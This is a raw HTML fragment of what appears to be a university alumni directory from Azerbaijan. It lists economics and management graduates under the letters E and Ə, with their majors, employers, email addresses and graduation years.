images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong><strong>Dinarə&nbsp;Yunusova&nbsp;</strong></p><p>İqtisadiyyat və Menecment Fakültəsi&nbsp;<br></p><p>Beznesin təşkili və idarə edilməsi</p><p>E-mail:&nbsp;<a href=\"mailto:ydinni@yahoo.com\">ydinni@yahoo.com</a></p><p><a href=\"mailto:ydinni@yahoo.com\"></a>Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Dinarə Xucətova</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Maliyyə</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:dinare.xucetova@khazar.org\">dinare.xucetova@khazar.org</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"E\">E</h3><p><strong>Erlan İsmayılov<o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:erlan.ismailov1996@gmail.com\">erlan.ismailov1996[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Eldar Zeynalov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:&nbsp;<a href=\"mailto:eldar-7@hotmail.com\">eldar-7[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Elçin Nərimanov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:elchin.narimanov@gmail.com\">elchin.narimanov[at]gmail.com</a> </p>\r\n<p><strong><strong><br></strong></strong></p><p><strong><strong>Emin</strong>  Salmanov&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:eminsalmanov123@gmail.com\">eminsalmanov123[at]gmail.com</a> </p>\r\n<p>&nbsp;</p>\r\n<p><strong><strong>Eltac</strong>  Məhərrəmova&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail: <a href=\"mailto:eltajmaharramova@gmail.com\">eltajmaharramova[at]gmail.com</a> </p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Eynar Mahmudov</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Service field of Account and Aud.<strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:eynar.mahmudov@gmail.com\">eynar.mahmudov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Emin&nbsp;Qasımov&nbsp;</strong></p><p>İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə və kredit&nbsp;<br></p><p>PriceWaterhouseCoopers, Auditor</p><p>E-mail:&nbsp;<a href=\"mailto:eminmg@hotmail.com\">eminmg@hotmail.com</a></p><p><a href=\"mailto:eminmg@hotmail.com\"></a>Bakalavr 2008  </p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong>Elmin Qarazadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Mühasibat uçotu və audit</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail: &nbsp;<a href=\"mailto:elminqarazade@gmail.com\">elminqarazade@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnarə Manafova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin təşkili və idarə edilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ManafovaE@gmail.com\">ManafovaE@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnur Bədalov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:bedelovelnur@gmail.com\">bedelovelnur@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp; (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvira&nbsp;İbayeva&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi,&nbsp;Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvira.ibayeva@gmail.com\">elvira.ibayeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong>Elnarə</strong>&nbsp;İsmayılova&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">PriceWaterhouseCoopers, Auditor</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:elnara.ismayilova@gmail.com\">elnara.ismayilova@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elnarə Səməmdova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Halliburton</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:elnara.samedova@halliburton.com\">elnara.samedova@halliburton.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong>Elman</strong>&nbsp;Sofiyev&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">British Council, Director Marketing and Communications</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:elman.sofiyev@britishcouncil.az\">elman.sofiyev@britishcouncil.az</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Emin Qasımov</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">PriceWaterhouseCoopers, Auditor</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:eminmg@hotmail.com\">eminmg@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elnarə Səfiyeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:<a href=\"mailto:Elnara_ls@hotmail.com\">Elnara_ls@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">MBA 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elgün Hüseynzadə</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Magnit/İT Manager</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:h.elgun@yahoo.com\">h.elgun@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Məmmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">AvtoluxeBaku, mühasib köməkçisi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elvinmamedov@mail.ru\">elvinmamedov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elnur Alıyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Rusiya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Məmmədov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Engine şirkəti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:mamedov-elvin@inbox.ru\">mamedov-elvin@inbox.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:mamedov-elvin@inbox.ru\"></a>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elmira Eynullayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">İqtisadiyyat və menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bker Tire Auditi Şirkəti</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elçin Hacıyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Evelina Qaradağlı&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:eyashayeva@gmail.com\">eyashayeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin Xasıyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvin_kasiyev@yahoo.com\">elvin_kasiyev@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elvin&nbsp; Qasımov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakertelli, audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvingasimov@yahoo.com\">elvingasimov@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Emil Abdullayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmira Soltanova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Finca Azerbaijan, Mühasib</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:elmira_soltanova@yahoo.com\">elmira_soltanova@yahoo.com</a>;&nbsp;<a href=\"mailto:esoltanova@fincazerbaijan.com\">esoltanova@fincazerbaijan.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ehtiram&nbsp;Musayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Moore Stephens Azerbaijan Limite, Audit and Assurance, Auditor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:ehtiram.musayev@moorestephens.az%20ehtirammusayev@gmail.com\">ehtiram.musayev@moorestephens.az\r\nehtirammusayev@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:ehtiram.musayev@moorestephens.az%20ehtirammusayev@gmail.com\"></a>Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elxan Məmmədov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq iqtisadi münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elxannm@yahoo.com\">elxannm@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elşən Həsənov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elshansmx@yahoo.com\">elshansmx@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Emil Babayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:emil555_2004@yahoo.com\">emil555_2004@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmin Səfərov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:elmin.safarov@mail.ru\">elmin.safarov@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Elmin Zodanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdədir</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:z-elmin@yahoo.com\">z-elmin@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Elnarə Məmmədova</strong></p>\r\n<p>İqtisadiyyat və Menecment fakültəsi</p>\r\n<p>Maliyyə, Planlaşdırma və icra üzrə məsləhətçi</p><p>2003  <br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elvin Mustafayev</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Marketing</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:elvin3562@mail.ru\">elvin3562@mail.ru</a>&nbsp;&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong><strong></strong></strong></p><h3 id=\"Ə\"><strong><strong>Ə</strong></strong></h3><p><strong>Əli Qasımlı <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:Gasimli.ali@mail.ru\">Gasimli.ali[at]mail.ru</a></p>\r\n<p><strong>&nbsp;</strong><strong>&nbsp;</strong></p>\r\n<p><strong>Əli Əliyev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin təşkili və idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Aliyev305000@gmail.com\">Aliyev305000[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Əli Məhərrəm </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p><a>Menecment</a>, 2017</p>\r\n<p>E-mail: <a href=\"mailto:ali.maharram1@gmail.com\">ali.maharram1[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Əfsanə&nbsp;</strong><strong>Abdullayeva&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail:<a href=\"mailto:efsaneabdullayeva@hotmail.com\">efsaneabdullayeva[at]hotmail.com</a> </p>  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Əli&nbsp; Məsiyev</strong></p><p style=\"\" 